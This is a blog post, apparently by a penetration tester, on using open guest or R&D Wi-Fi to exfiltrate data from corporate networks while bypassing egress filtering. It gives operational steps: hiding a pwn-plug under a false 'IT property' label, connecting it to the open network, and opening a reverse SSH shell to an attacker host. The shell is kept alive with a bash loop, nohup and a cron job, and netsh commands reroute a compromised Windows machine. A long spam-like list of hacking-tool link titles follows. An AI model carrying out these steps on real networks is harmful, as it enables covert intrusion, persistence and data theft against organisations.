Saterdag 29 Augustus 2020

Backchannel Data Exfiltration Via Guest/R&D Wi-Fi


Often times I find unprotected wireless access points with unfettered access to the internet for research or guest access purposes. This is generally through an unauthenticated portal or a direct cable connection. When questioning the business units they explain a low value network, which is simply a internet pass thru separate from the internal network. This sounds reasonable and almost plausible however I usually explain the dangers of having company assets on an unprotected Wi-Fi and the dangers of client side exploits and MITM attacks. But there are a few other plausible scenarios one should be aware of that may scare you a bit more then the former discussion.

What about using OpenWifi as a backchannel data exfiltration medium?

An open Wi-Fi is a perfect data exfiltration medium for attackers to completely bypass egress filtering issues, DLP, proxy filtering issues and a whole bunch of other protection mechanisms in place to keep attackers from sending out shells and moving data between networks. This can easily be accomplished via dual homing your attack host utilizing multiple nic cards which are standard on almost all modern machines. Whether this is from physical access breach or via remote compromise the results can be deadly. Below are a few scenarios, which can lead to undetectable data exfiltration.




Scenario 1: (PwnPlug/Linux host with Wi-Fi adaptor)
The first useful scenario is when a physical perimeter has been breached and a small device from http://pwnieexpress.com/ known as a pwn-plug is installed into the target network or a linux host with a wireless card. I usually install pwn-plug's inside a closet or under a desk somewhere which is not visible and allows a network connection out to an attacker owned host. Typically its a good idea to label the small device as "IT property and Do Not Remove". This will keep a casual user from removing the device. However if there is network egress and proxy filtering present then our network connection may never reach a remote host. At this point your physical breach to gain network access to an impenetrable network perimeter will fail. Unless there happens to be an open cable Wi-Fi connection to an "inconsequential R&D network".

By simply attaching an Alpha card to the pwnplug you can connect to the R&D wireless network. You can then use this network as your outgoing connection and avoid corporate restrictions regarding outbound connections via metasploit or ssh. I have noticed that most clients these days are running heavy egress filtering and packet level protocol detection, which stops outbound connections. Rather then play the obfuscation game i prefer to bypass the restrictions all together using networks which have escaped corporate policy.

You can automate the following via a script if you wardrive the facility prior to entrance and gain insight into the open wireless network, or you can also configure the plug via serial connection on site provided you have time.

Connect to wifi:
ifconfig wlan0 up
iwconfig wlan0 essid [targetNetworkSSID]
dhclient wlan0

Run a reverse SSH tunnel:
ssh -R 3000:127.0.0.1:22 root@remoteHost.com

On the remote host you can retrieve your shell:
ssh -p 3000 User@localhost

Once you have authenticated with the pwnplug via your local host port forward you now have access into the internal network via an encrypted tunnel which will not be detected and fully bypass any corporate security restrictions. You can take this a bit further and setup some persistence in case the shell goes down.. This can be done via bash and nohup if you setup some ssh keys to handle authentication.. One example could be the following script:

Your bash script: 
#---------------------
#!/bin/bash
while true
do
 ssh -R 3000:127.0.0.1:22 root@remoteHost.com
 sleep 10
done
#---------------------

Run this with nohup like this:
nohup ./shell.sh &


Another simple way would be to setup a cron job to run a script with your ssh command on a specified interval for example every 5 minutes like so:

Cron job for every 5 minutes: 
*/5 * * * * /shell.sh



Scenario 2: (Remote Windows Compromise)
The second scenario is that of a compromised modern windows machine with a wireless card, this can be used to make a wireless connection outbound similar to the first scenario which will bypass restrictions by accessing an unrestricted network. As shown in "Vista Power Tools" paper written by Josh Wright you can use modern windows machines cards via the command line.
http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf

Below are the commands to profile the networks and export a current profile then import a new profile for your target wireless network. Then from there you can connect and use that network to bypass corp restrictions provided that wireless network doesn't have its own restrictions.

Profile Victim machine and extract a wireless profile: 
netsh wlan show interfaces
netsh wlan show networks mode=bssid
netsh wlan show profiles
netsh wlan export profile name="CorpNetwork"

Then modify that profile to meet the requirements needed for the R&D network and import it into the victim machine.

Upload a new profile and connect to the network: 
netsh wlan add profile filename="R&D.xml"
netsh wlan show profiles
netsh wlan connect name="R&D"

If you check out Josh's excellent paper linked above you will also find ways of bridging between ethernet and wireless adaptors along with lots of other ideas and useful information.

I just got thinking the other day of ways to abuse so called guest or R&D networks and started writing down a few ideas based on scenarios which play out time and time again while penetration testing networks and running physical breach attacks. I hear all to often that a cable connection not linked to the corporate network is totally safe and I call bullshit on that.

Related articles

  1. Hack Tools For Pc
  2. Hacker Search Tools
  3. Hacking Tools Mac
  4. Hacking Tools Hardware
  5. Hacking Tools Download
  6. Pentest Tools Find Subdomains
  7. Pentest Reporting Tools
  8. Hacking Tools For Windows 7
  9. Pentest Tools Apk
  10. Hack Tools Online
  11. Pentest Tools Free
  12. Hack Tools For Windows
  13. Pentest Tools Website
  14. Hacker Tools 2020
  15. Hack Tools 2019
  16. Hacking Tools
  17. Hackers Toolbox
  18. Pentest Tools Url Fuzzer
  19. Pentest Tools Kali Linux
  20. Hacker Search Tools
  21. Hack And Tools
  22. Hack Tools Download
  23. Hack Tools Pc
  24. Pentest Tools Find Subdomains
  25. Best Hacking Tools 2019
  26. Pentest Reporting Tools
  27. Pentest Tools Alternative
  28. Tools For Hacker
  29. Pentest Tools Free
  30. Hack Tool Apk No Root
  31. Physical Pentest Tools
  32. Hacking Tools Free Download
  33. Free Pentest Tools For Windows
  34. Hack And Tools
  35. Termux Hacking Tools 2019
  36. Hack Tools Mac
  37. Pentest Tools Kali Linux
  38. Hacker Tools Github
  39. Best Hacking Tools 2019
  40. Hacker Tools Windows
  41. New Hack Tools
  42. Best Hacking Tools 2019
  43. Hacking Tools Windows 10
  44. Game Hacking
  45. Pentest Tools Apk
  46. Hacking Tools 2019
  47. Underground Hacker Sites
  48. Hacking Tools For Games
  49. Hacker Tools 2019
  50. Hack App
  51. Pentest Tools For Windows
  52. Hacking App
  53. Hacking Tools Mac
  54. Free Pentest Tools For Windows
  55. New Hack Tools
  56. Bluetooth Hacking Tools Kali
  57. Hack Tools Mac
  58. Kik Hack Tools
  59. Hack Tools 2019
  60. Hacker Tools 2019
  61. Hacker Tools Online
  62. Hack Tools For Games
  63. Hacker Tools For Pc
  64. Hacker Tools 2019
  65. Pentest Tools Bluekeep
  66. Hacking Tools 2020
  67. New Hacker Tools
  68. Pentest Tools For Windows
  69. Pentest Tools List
  70. Hacking Tools Windows 10
  71. Hacker Tools Mac
  72. Hacking Tools And Software
  73. Pentest Tools Bluekeep
  74. Hacking Tools 2019
  75. Pentest Tools Url Fuzzer
  76. Pentest Tools Find Subdomains
  77. New Hacker Tools
  78. Hacking Tools For Beginners
  79. Hacking Tools Name
  80. Easy Hack Tools
  81. Hack Tools Online
  82. Pentest Tools Port Scanner
  83. Game Hacking
  84. Wifi Hacker Tools For Windows
  85. Pentest Tools Bluekeep
  86. Best Pentesting Tools 2018
  87. Hacker Tools For Mac
  88. Pentest Automation Tools
  89. Hacking Tools For Windows Free Download
  90. New Hack Tools
  91. Hacking Tools Mac
  92. Nsa Hacker Tools
  93. Hack Tools Mac
  94. How To Make Hacking Tools
  95. Hacking Tools Windows
  96. Hacking Tools Pc
  97. Pentest Tools For Android
  98. Hacking Tools For Windows
  99. Hack Apps
  100. Hacker Security Tools
  101. Hacking Tools For Windows Free Download
  102. Hacking Tools Windows 10
  103. Growth Hacker Tools
  104. Hacker Tool Kit
  105. Hacking Tools Software
  106. Pentest Tools
  107. Pentest Tools For Windows
  108. Hack Tools For Games
  109. Hacker Techniques Tools And Incident Handling
  110. Hack Tool Apk No Root
  111. Hacking Tools Pc
  112. Hack Tools 2019
  113. Pentest Tools For Ubuntu
  114. Hackrf Tools
  115. Kik Hack Tools
  116. Pentest Reporting Tools
  117. Termux Hacking Tools 2019
  118. Hack Apps
  119. Beginner Hacker Tools
  120. Hacker Tools Linux
  121. Bluetooth Hacking Tools Kali
  122. How To Make Hacking Tools
  123. Hacking Tools Name
  124. Tools For Hacker
  125. Best Pentesting Tools 2018
  126. Pentest Box Tools Download
  127. Computer Hacker
  128. Hacker Tools Apk Download
  129. Hacking Tools Github
  130. Android Hack Tools Github
  131. Hacker Search Tools
  132. Best Hacking Tools 2020
  133. Android Hack Tools Github
  134. Hacking Tools For Mac
  135. Android Hack Tools Github
  136. Hacker Tools Windows
  137. New Hacker Tools
  138. Pentest Box Tools Download
  139. Easy Hack Tools
  140. What Is Hacking Tools
  141. Physical Pentest Tools
  142. Termux Hacking Tools 2019
  143. Hacking Tools Pc
  144. Hack Tools For Mac
  145. Underground Hacker Sites
  146. Hacking Tools Windows
  147. Tools 4 Hack
  148. Hacker Tool Kit
  149. Hacking Tools For Kali Linux
  150. Ethical Hacker Tools
  151. Android Hack Tools Github
  152. Hacking Tools Github
  153. Hack Tools Pc
  154. Pentest Tools For Windows
  155. Pentest Tools Nmap
  156. Hacker Tools Github
  157. Pentest Tools Windows
  158. Best Pentesting Tools 2018
  159. Hacks And Tools
  160. Hacking Tools Online
  161. Hacker Tools 2019
  162. Hacker Techniques Tools And Incident Handling
  163. Hacker Tool Kit
  164. Pentest Tools Online
  165. Hacking Tools Software
  166. Best Hacking Tools 2019
  167. Hackrf Tools
  168. Hacking Tools Windows 10
  169. Hacker Tools List
  170. Pentest Tools Bluekeep
  171. Hacking Tools Usb

Geen opmerkings nie:

Plaas 'n opmerking